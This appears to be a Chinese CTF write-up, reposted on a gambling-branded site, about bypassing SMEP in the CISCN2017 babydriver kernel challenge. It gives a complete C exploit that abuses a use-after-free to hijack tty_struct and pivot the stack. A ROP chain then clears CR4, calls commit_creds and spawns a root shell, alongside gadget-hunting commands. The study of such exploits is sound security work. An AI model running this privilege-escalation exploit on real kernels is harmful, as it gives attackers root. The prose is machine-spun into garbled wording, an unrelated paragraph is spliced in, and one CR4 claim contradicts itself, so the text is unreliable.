Linux Kernel Exploit 内核破绽进修(3)-Bypass-Smep | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Linux Kernel Exploit 内核破绽进修(3)-Bypass-Smep

申博_新闻事件 申博 178次浏览 已收录 0个评论

简介

smep的全称是Supervisor Mode Execution Protection,它是内核的一种庇护机制,作用是当CPU处于ring0形式的时刻,假如实行了用户空间的代码就会触发页毛病,很明现这个庇护机制就是为了防备ret2usr进击的….
这里为了演示怎样绕过这个庇护机制,我依然运用的是CISCN2017 babydriver,这道题基础剖析和应用UAF的要领道理我已经在kernel pwn–UAF这篇文章中做了诠释,在这里就不再论述了,环境也是放在github上面的,须要的能够自行下载进修….

前置学问

ptmx && tty_struct && tty_operations

ptmx装备是tty装备的一种,open函数被tty中心挪用, 当一个用户对这个tty驱动被分派的装备节点挪用opentty中心运用一个指向分派给这个装备的tty_struct组织的指针挪用它,也就是说我们在挪用了open函数了之后会建立一个tty_struct组织体,然则最症结的是这个tty_struct也是经由过程kmalloc请求出来的一个堆空间,下面是关于tty_struct组织体请求的一部分源码:

struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
    struct tty_struct *tty;

    tty = kzalloc(sizeof(*tty), GFP_KERNEL);
    if (!tty)
        return NULL;

    kref_init(&tty->kref);
    tty->magic = TTY_MAGIC;
    tty_ldisc_init(tty);
    tty->session = NULL;
    tty->pgrp = NULL;
    mutex_init(&tty->legacy_mutex);
    mutex_init(&tty->throttle_mutex);
    init_rwsem(&tty->termios_rwsem);
    mutex_init(&tty->winsize_mutex);
    init_ldsem(&tty->ldisc_sem);
    init_waitqueue_head(&tty->write_wait);
    init_waitqueue_head(&tty->read_wait);
    INIT_WORK(&tty->hangup_work, do_tty_hangup);
    mutex_init(&tty->atomic_write_lock);
    spin_lock_init(&tty->ctrl_lock);
    spin_lock_init(&tty->flow_lock);
    INIT_LIST_HEAD(&tty->tty_files);
    INIT_WORK(&tty->SAK_work, do_SAK_work);

    tty->driver = driver;
    tty->ops = driver->ops;
    tty->index = idx;
    tty_line_name(driver, idx, tty->name);
    tty->dev = tty_get_device(tty);

    return tty;
}

个中kzalloc:

static inline void *kzalloc(size_t size, gfp_t flags)
{
    return kmalloc(size, flags | __GFP_ZERO);
}

而恰是这个kmalloc的缘由,依据前面引见的slub分派机制,我们这里依然能够应用UAF破绽去修正这个组织体….
这个tty_struct组织体的大小是0x2e0,源码以下:

struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;     // tty_operations组织体
    int index;
    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;
    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    spinlock_t ctrl_lock;
    spinlock_t flow_lock;
    /* Termios values are protected by the termios rwsem */
    struct ktermios termios, termios_locked;
    struct termiox *termiox;    /* May be NULL for unsupported */
    char name[64];
    struct pid *pgrp;       /* Protected by ctrl lock */
    struct pid *session;
    unsigned long flags;
    int count;
    struct winsize winsize;     /* winsize_mutex */
    unsigned long stopped:1,    /* flow_lock */
              flow_stopped:1,
              unused:BITS_PER_LONG - 2;
    int hw_stopped;
    unsigned long ctrl_status:8,    /* ctrl_lock */
              packet:1,
              unused_ctrl:BITS_PER_LONG - 9;
    unsigned int receive_room;  /* Bytes free for queue */
    int flow_change;
    struct tty_struct *link;
    struct fasync_struct *fasync;
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;      /* protects tty_files list */
    struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
    int closing;
    unsigned char *write_buf;
    int write_cnt;
    /* If the tty has a pending do_SAK, queue it here - akpm */
    struct work_struct SAK_work;
    struct tty_port *port;
} __randomize_layout;

而在tty_struct组织体中有一个异常棒的组织体tty_operations,其源码以下:

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

能够看到这个内里满是我们最喜欢的函数指针….
当我们往上面所open的文件中举行write操纵就会挪用个中相对应的int (*write)(struct tty_struct * tty,const unsigned char *buf, int count);函数….

Smep

如今我们来讲一下体系是怎样晓得这个Smep庇护机制是开启的照样封闭的….
在体系当中有一个CR4寄存器,它的值推断是不是开启smep庇护的症结,当CR4寄存器的第20位是1的时刻,庇护开启;是0到时刻,庇护封闭:
Linux Kernel Exploit 内核破绽进修(3)-Bypass-Smep
举一个例子:
当CR4的值为0x1407f0的时刻,smep庇护开启:

$CR4 = 0x1407f0 = 0b0001 0100 0000 0111 1111 0000

当CR4的值为0x6f0的时刻,smep庇护开启:

IO FILE 之恣意读写

上篇文章描述了vtable check以及绕过vtalbe check的方法之一,利用vtable段中的_IO_str_jumps来进行FSOP。本篇则主要描述使用缓冲区指针来进行任意内存读写。 从前面fread以及fwrite的分析中,我们知道了FILE结构体中的缓冲区指针是用来进行输入输出的,很容易的就想到了如果能过伪造这些缓冲区指针,在一定的条件下应该可以完成任意地址的读写。 本文包括两部分: 使用stdin标准输入缓冲区进行任意地址写。 使用stdout标准输出缓冲区进行任意地址读写。

$CR4 = 0x6f0 = 0b0000 0000 0000 0110 1111 0000

然则该寄存器的值没法经由过程gdb直接检察,只能经由过程kernel crash时发生的信息检察,不过我们依然是能够经由过程mov指令去修正这个寄存器的值的:

mov cr4,0x6f0

思绪

因为此题没有开kaslr庇护,所以简化了我们一些步骤,然则在此要领中是我们前面的UAF,ROPret2usr的综合应用,下面是基础思绪:

  1. 应用UAF破绽,去掌握应用tty_struct组织体的空间,修正实在的tty_operations的地点到我们组织的tty_operations;
  2. 组织一个tty_operations,修正个中的write函数为我们的rop;
  3. 应用修正的write函数来挟制顺序流;
    然则个中须要处理的一个问题是,我们并没有掌握到栈,所以在rop的时刻须要想办法举行栈转移:
    不过我们能够经由过程调试来想想办法,先把tty_operations的内容替换为这个模样:
    for(i = 0; i < 30; i++)
     {
         fake_tty_opera[i] = 0xffffffffffffff00 + i; 
     }
     fake_tty_opera[7] = 0xffffffffc0000130;  //babyread_addr
    

    我们先把tty_operations[7]的位置替换为babyread的地点,然后我们经由过程调试发明,rax寄存器的值就是我们tty_operations组织体的首地点:
    Linux Kernel Exploit 内核破绽进修(3)-Bypass-Smep
    Linux Kernel Exploit 内核破绽进修(3)-Bypass-Smep
    然后我们能够经由过程栈回溯,从新在挪用tty_operations[7]的位置下断点看看:
    Linux Kernel Exploit 内核破绽进修(3)-Bypass-Smep
    能够清晰的看到顺序的实行流程了,所以我们的就能够在这里举行栈转移操纵了,应用这些指令就能够帮我们转移栈了:

    mov rsp,rax
    xchg rsp,rax
    

    所以终究tty_operations的组织以下:

    for(i = 0; i < 30; i++)
     {
         fake_tty_opera[i] = 0xffffffff8181bfc5; 
     }
     fake_tty_opera[0] = 0xffffffff810635f5;     //pop rax; pop rbp; ret;
     fake_tty_opera[1] = (size_t)rop;            //rop链的地点
     fake_tty_opera[3] = 0xffffffff8181bfC5;     // mov rsp,rax ; dec ebx ; ret
     fake_tty_opera[7] = 0xffffffff8181bfc5;     // mov rsp,rax ; dec ebx ; ret
    

    为了轻易明白,我们把提权,封闭smep等操纵都放到rop链内里:

    int i = 0;
     size_t rop[20]={0};
     rop[i++] = 0xffffffff810d238d;      //pop_rdi_ret
     rop[i++] = 0x6f0;
     rop[i++] = 0xffffffff81004d80;      //mov_cr4_rdi_pop_rbp_ret
     rop[i++] = 0x6161616161;            //junk
     rop[i++] = (size_t)get_root;
     rop[i++] = 0xffffffff81063694;      //swapgs_pop_rbp_ret
     rop[i++] = 0x6161616161;
     rop[i++] = 0xffffffff814e35ef;      // iretq; ret;
     rop[i++] = (size_t)shell;
     rop[i++] = user_cs;
     rop[i++] = user_eflags;
     rop[i++] = user_sp;
     rop[i++] = user_ss;
    

    实在这个rop链就是比我们的之前的ret2usr多了一个mov_cr4_rdi_pop_rbp_ret….

EXP

poc.c:

#include<stdio.h>
#include<unistd.h>
#include<fcntl.h>
unsigned long user_cs, user_ss, user_eflags,user_sp;
size_t commit_creds_addr = 0xffffffff810a1420;
size_t prepare_kernel_cred_addr = 0xffffffff810a1810;
void* fake_tty_opera[30];

void shell(){
    system("/bin/sh");
}

void save_stats(){
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
    );
}

void get_root(){
    char* (*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char*) = commit_creds_addr;
    (*cc)((*pkc)(0));
}

int main(){
    int fd1,fd2,fd3,i=0;
    size_t fake_tty_struct[4] = {0};
    size_t rop[20]={0};
    save_stats();

    rop[i++] = 0xffffffff810d238d;      //pop_rdi_ret
    rop[i++] = 0x6f0;
    rop[i++] = 0xffffffff81004d80;      //mov_cr4_rdi_pop_rbp_ret
    rop[i++] = 0x6161616161;
    rop[i++] = (size_t)get_root;
    rop[i++] = 0xffffffff81063694;      //swapgs_pop_rbp_ret
    rop[i++] = 0x6161616161;
    rop[i++] = 0xffffffff814e35ef;      // iretq; ret;
    rop[i++] = (size_t)shell;
    rop[i++] = user_cs;
    rop[i++] = user_eflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    for(i = 0; i < 30; i++){
        fake_tty_opera[i] = 0xffffffff8181bfc5;
    }
    fake_tty_opera[0] = 0xffffffff810635f5;     //pop rax; pop rbp; ret;
    fake_tty_opera[1] = (size_t)rop;
    fake_tty_opera[3] = 0xffffffff8181bfC5;     // mov rsp,rax ; dec ebx ; ret
    fake_tty_opera[7] = 0xffffffff8181bfc5;

    fd1 = open("/dev/babydev",O_RDWR);
    fd2 = open("/dev/babydev",O_RDWR);
    ioctl(fd1,0x10001,0x2e0);
    close(fd1);
    fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);
    read(fd2, fake_tty_struct, 32);
    fake_tty_struct[3] = (size_t)fake_tty_opera;
    write(fd2,fake_tty_struct, 32);
    write(fd3,"cc-sir",6);                      //触发rop
    return 0;
}

编译:

gcc poc.c -o poc -w -static

运转:
Linux Kernel Exploit 内核破绽进修(3)-Bypass-Smep

总结

这道题实在最症结的是要熟习内核的实行流程,相识一些症结的组织体以及他们的分派体式格局;
末了这里说一下找mov_cr4_rdi_pop_rbp_ret等这些gadget的小技能,假如运用ropper或ROPgadget东西太慢的时刻,能够先试试用objdump去找看能不能找到:

objdump -d vmlinux -M intel | grep -E "cr4|pop|ret"

Linux Kernel Exploit 内核破绽进修(3)-Bypass-Smep

objdump -d vmlinux -M intel | grep -E "swapgs|pop|ret"

Linux Kernel Exploit 内核破绽进修(3)-Bypass-Smep
然则运用这个要领的时刻要注意看这些指令的地点是不是是一连的,可不能够用;用这个要领不一定能够找到iretq,照样须要用ropper东西去找,然则大多数状况应当都能够找到的:
Linux Kernel Exploit 内核破绽进修(3)-Bypass-Smep


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Linux Kernel Exploit 内核破绽进修(3)-Bypass-Smep
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址